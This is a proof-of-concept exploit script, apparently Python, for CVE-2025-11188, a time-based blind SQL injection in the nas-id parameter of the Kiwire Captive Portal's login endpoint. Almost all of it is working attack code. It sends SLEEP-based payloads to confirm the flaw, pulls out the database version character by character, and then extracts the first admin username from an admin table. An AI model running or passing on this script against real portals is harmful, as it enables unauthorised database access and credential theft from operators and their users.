CVE-2025-11188 Kiwire Captive Portal nas-id参数盲注漏洞

# CVE-2025-11188 - Kiwire Captive Portal Blind SQL Injection PoC # Vulnerability: Blind SQL Injection in nas-id parameter # Author: Security Researcher import requests import time TARGET_URL = "http://target-kiwire-portal.com" NAS_ID_ENDPOINT = "/cgi-bin/login.cgi" # Adjust based on actual endpoint def check_vulnerability(target_url): """Check if the target is vulnerable to blind SQL injection""" # Normal request normal_payload = "valid-nas-id" normal_response = requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": normal_payload, "username": "test", "password": "test"} ) normal_time = normal_response.elapsed.total_seconds() # Time-based blind SQL injection test injection_payload = "' OR IF(1=1, SLEEP(5), 0) -- -" start_time = time.time() inject_response = requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": injection_payload, "username": "test", "password": "test"} ) elapsed_time = time.time() - start_time if elapsed_time > 4: # If response delayed by ~5 seconds print(f"[+] Target is VULNERABLE to blind SQL injection!") print(f"[+] Normal response time: {normal_time:.2f}s") print(f"[+] Injection response time: {elapsed_time:.2f}s") return True else: print(f"[-] Target does not appear vulnerable") return False def extract_database_version(target_url): """Extract MySQL version using time-based blind SQL injection""" version = "" for position in range(1, 20): for char_code in range(32, 127): # Time-based extraction: SUBSTRING(version, position, 1) = char_code payload = f"' OR IF(ASCII(SUBSTRING(@@version,{position},1))={char_code}, SLEEP(2), 0) -- -" start_time = time.time() requests.post( f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": payload} ) elapsed = time.time() - start_time if elapsed > 1.5: version += chr(char_code) print(f"[+] Extracted so far: {version}") break else: break return version def extract_credentials(target_url, table_name="admin"): """Extract admin credentials from database""" # Example: extract username and password from admin table extracted_data = {} # Extract first admin username username = "" for pos in range(1, 50): for c in range(32, 127): payload = f"' OR IF(ASCII(SUBSTRING((SELECT username FROM {table_name} LIMIT 1),{pos},1))={c}, SLEEP(2), 0) -- -" start = time.time() requests.post(f"{target_url}{NAS_ID_ENDPOINT}", data={"nas-id": payload}) if time.time() - start > 1.5: username += chr(c) break else: break extracted_data["username"] = username print(f"[+] Extracted username: {username}") return extracted_data if __name__ == "__main__": print(f"[*] Testing {TARGET_URL} for CVE-2025-11188") if check_vulnerability(TARGET_URL): version = extract_database_version(TARGET_URL) print(f"[+] Database version: {version}") creds = extract_credentials(TARGET_URL) print(f"[+] Extracted credentials: {creds}")